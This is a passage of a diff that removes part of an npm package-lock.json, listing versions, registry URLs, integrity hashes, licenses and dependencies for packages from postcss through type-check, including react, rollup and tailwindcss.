"https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.11", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postcss-import": { - "version": "15.1.0", - "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", - "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", - "license": "MIT", - "dependencies": { - "postcss-value-parser": "^4.0.0", - "read-cache": "^1.0.0", - "resolve": "^1.1.7" - }, - "engines": { - "node": ">=14.0.0" - }, - "peerDependencies": { - "postcss": "^8.0.0" - } - }, - "node_modules/postcss-js": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", - "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "camelcase-css": "^2.0.1" - }, - "engines": { - "node": "^12 || ^14 || >= 16" - }, - "peerDependencies": { - "postcss": "^8.4.21" - } - }, - "node_modules/postcss-load-config": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", - "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "lilconfig": "^3.1.1" - }, - "engines": { - "node": ">= 18" - }, - "peerDependencies": { - "jiti": ">=1.21.0", - "postcss": ">=8.0.9", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - }, - "postcss": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/postcss-nested": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", - "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "postcss-selector-parser": "^6.1.1" - }, - "engines": { - "node": ">=12.0" - }, - "peerDependencies": { - "postcss": "^8.2.14" - } - }, - "node_modules/postcss-selector-parser": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", - "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", - "license": "MIT", - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "license": "MIT" - }, - "node_modules/prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/punycode": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", - "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/react": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz", - "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==", - "license": "MIT", - "dependencies": { - "scheduler": "^0.27.0" - }, - "peerDependencies": { - "react": "^19.2.3" - } - }, - "node_modules/react-i18next": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/react-i18next/-/react-i18next-16.5.0.tgz", - "integrity": "sha512-IMpPTyCTKxEj8klCrLKUTIUa8uYTd851+jcu2fJuUB9Agkk9Qq8asw4omyeHVnOXHrLgQJGTm5zTvn8HpaPiqw==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.27.6", - "html-parse-stringify": "^3.0.1", - "use-sync-external-store": "^1.6.0" - }, - "peerDependencies": { - "i18next": ">= 25.6.2", - "react": ">= 16.8.0", - "typescript": "^5" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - }, - "react-native": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/react-is": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.3.tgz", - "integrity": "sha512-qJNJfu81ByyabuG7hPFEbXqNcWSU3+eVus+KJs+0ncpGfMyYdvSmxiJxbWR65lYi1I+/0HBcliO029gc4F+PnA==", - "license": "MIT", - "peer": true - }, - "node_modules/react-redux": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz", - "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==", - "license": "MIT", - "dependencies": { - "@types/use-sync-external-store": "^0.0.6", - "use-sync-external-store": "^1.4.0" - }, - "peerDependencies": { - "@types/react": "^18.2.25 || ^19", - "react": "^18.0 || ^19", - "redux": "^5.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "redux": { - "optional": true - } - } - }, - "node_modules/react-refresh": { - "version": "0.18.0", - "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", - "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-remove-scroll": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.7.2.tgz", - "integrity": "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q==", - "license": "MIT", - "dependencies": { - "react-remove-scroll-bar": "^2.3.7", - "react-style-singleton": "^2.2.3", - "tslib": "^2.1.0", - "use-callback-ref": "^1.3.3", - "use-sidecar": "^1.1.3" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/react-remove-scroll-bar": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.8.tgz", - "integrity": "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q==", - "license": "MIT", - "dependencies": { - "react-style-singleton": "^2.2.2", - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/react-router": { - "version": "7.11.0", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.11.0.tgz", - "integrity": "sha512-uI4JkMmjbWCZc01WVP2cH7ZfSzH91JAZUDd7/nIprDgWxBV1TkkmLToFh7EbMTcMak8URFRa2YoBL/W8GWnCTQ==", - "license": "MIT", - "dependencies": { - "cookie": "^1.0.1", - "set-cookie-parser": "^2.6.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - }, - "peerDependenciesMeta": { - "react-dom": { - "optional": true - } - } - }, - "node_modules/react-router-dom": { - "version": "7.11.0", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.11.0.tgz", - "integrity": "sha512-e49Ir/kMGRzFOOrYQBdoitq3ULigw4lKbAyKusnvtDu2t4dBX4AGYPrzNvorXmVuOyeakai6FUPW5MmibvVG8g==", - "license": "MIT", - "dependencies": { - "react-router": "7.11.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "react": ">=18", - "react-dom": ">=18" - } - }, - "node_modules/react-style-singleton": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.3.tgz", - "integrity": "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ==", - "license": "MIT", - "dependencies": { - "get-nonce": "^1.0.0", - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/read-cache": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", - "license": "MIT", - "dependencies": { - "pify": "^2.3.0" - } - }, - "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "license": "MIT", - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/readdirp/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/recharts": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.6.0.tgz", - "integrity": "sha512-L5bjxvQRAe26RlToBAziKUB7whaGKEwD3znoM6fz3DrTowCIC/FnJYnuq1GEzB8Zv2kdTfaxQfi5GoH0tBinyg==", - "license": "MIT", - "workspaces": [ - "www" - ], - "dependencies": { - "@reduxjs/toolkit": "1.x.x || 2.x.x", - "clsx": "^2.1.1", - "decimal.js-light": "^2.5.1", - "es-toolkit": "^1.39.3", - "eventemitter3": "^5.0.1", - "immer": "^10.1.1", - "react-redux": "8.x.x || 9.x.x", - "reselect": "5.1.1", - "tiny-invariant": "^1.3.3", - "use-sync-external-store": "^1.2.2", - "victory-vendor": "^37.0.2" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/redux": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", - "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==", - "license": "MIT" - }, - "node_modules/redux-thunk": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", - "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", - "license": "MIT", - "peerDependencies": { - "redux": "^5.0.0" - } - }, - "node_modules/reselect": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", - "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==", - "license": "MIT" - }, - "node_modules/resolve": { - "version": "1.22.11", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", - "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", - "license": "MIT", - "dependencies": { - "is-core-module": "^2.16.1", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - }, - "bin": { - "resolve": "bin/resolve" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/reusify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", - "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", - "license": "MIT", - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rollup": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.54.0.tgz", - "integrity": "sha512-3nk8Y3a9Ea8szgKhinMlGMhGMw89mqule3KWczxhIzqudyHdCIOHw8WJlj/r329fACjKLEh13ZSk7oE22kyeIw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.8" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.54.0", - "@rollup/rollup-android-arm64": "4.54.0", - "@rollup/rollup-darwin-arm64": "4.54.0", - "@rollup/rollup-darwin-x64": "4.54.0", - "@rollup/rollup-freebsd-arm64": "4.54.0", - "@rollup/rollup-freebsd-x64": "4.54.0", - "@rollup/rollup-linux-arm-gnueabihf": "4.54.0", - "@rollup/rollup-linux-arm-musleabihf": "4.54.0", - "@rollup/rollup-linux-arm64-gnu": "4.54.0", - "@rollup/rollup-linux-arm64-musl": "4.54.0", - "@rollup/rollup-linux-loong64-gnu": "4.54.0", - "@rollup/rollup-linux-ppc64-gnu": "4.54.0", - "@rollup/rollup-linux-riscv64-gnu": "4.54.0", - "@rollup/rollup-linux-riscv64-musl": "4.54.0", - "@rollup/rollup-linux-s390x-gnu": "4.54.0", - "@rollup/rollup-linux-x64-gnu": "4.54.0", - "@rollup/rollup-linux-x64-musl": "4.54.0", - "@rollup/rollup-openharmony-arm64": "4.54.0", - "@rollup/rollup-win32-arm64-msvc": "4.54.0", - "@rollup/rollup-win32-ia32-msvc": "4.54.0", - "@rollup/rollup-win32-x64-gnu": "4.54.0", - "@rollup/rollup-win32-x64-msvc": "4.54.0", - "fsevents": "~2.3.2" - } - }, - "node_modules/rollup/node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.54.0", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.54.0.tgz", - "integrity": "sha512-WGt5J8Ij/rvyqpFexxk3ffKqqbLf9AqrTBbWDk7ApGUzaIs6V+s2s84kAxklFwmMF/vBNGrVdYgbblCOFFezMQ==", - "cpu": [ - "x64" - ], - "dev": true, - "libc": [ - "glibc" - ], - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/scheduler": { - "version": "0.27.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", - "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", - "license": "MIT" - }, - "node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/set-cookie-parser": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", - "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==", - "license": "MIT" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/sucrase": { - "version": "3.35.1", - "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", - "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", - "license": "MIT", - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.2", - "commander": "^4.0.0", - "lines-and-columns": "^1.1.6", - "mz": "^2.7.0", - "pirates": "^4.0.1", - "tinyglobby": "^0.2.11", - "ts-interface-checker": "^0.1.9" - }, - "bin": { - "sucrase": "bin/sucrase", - "sucrase-node": "bin/sucrase-node" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/tailwind-merge": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.4.0.tgz", - "integrity": "sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/dcastil" - } - }, - "node_modules/tailwindcss": { - "version": "3.4.19", - "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", - "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", - "license": "MIT", - "dependencies": { - "@alloc/quick-lru": "^5.2.0", - "arg": "^5.0.2", - "chokidar": "^3.6.0", - "didyoumean": "^1.2.2", - "dlv": "^1.1.3", - "fast-glob": "^3.3.2", - "glob-parent": "^6.0.2", - "is-glob": "^4.0.3", - "jiti": "^1.21.7", - "lilconfig": "^3.1.3", - "micromatch": "^4.0.8", - "normalize-path": "^3.0.0", - "object-hash": "^3.0.0", - "picocolors": "^1.1.1", - "postcss": "^8.4.47", - "postcss-import": "^15.1.0", - "postcss-js": "^4.0.1", - "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", - "postcss-nested": "^6.2.0", - "postcss-selector-parser": "^6.1.2", - "resolve": "^1.22.8", - "sucrase": "^3.35.0" - }, - "bin": { - "tailwind": "lib/cli.js", - "tailwindcss": "lib/cli.js" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/tailwindcss-animate": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz", - "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==", - "license": "MIT", - "peerDependencies": { - "tailwindcss": ">=3.0.0 || insiders" - } - }, - "node_modules/thenify": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", - "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", - "license": "MIT", - "dependencies": { - "any-promise": "^1.0.0" - } - }, - "node_modules/thenify-all": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", - "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", - "license": "MIT", - "dependencies": { - "thenify": ">= 3.1.0 < 4" - }, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/tiny-invariant": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", - "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", - "license": "MIT" - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/ts-api-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", - "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.12" - }, - "peerDependencies": { - "typescript": ">=4.8.4" - } - }, - "node_modules/ts-interface-checker": { - "version": "0.1.13", - "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", - "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", - "license": "Apache-2.0" - }, - "node_modules/tslib": { - "version": "2.8.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", - "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": 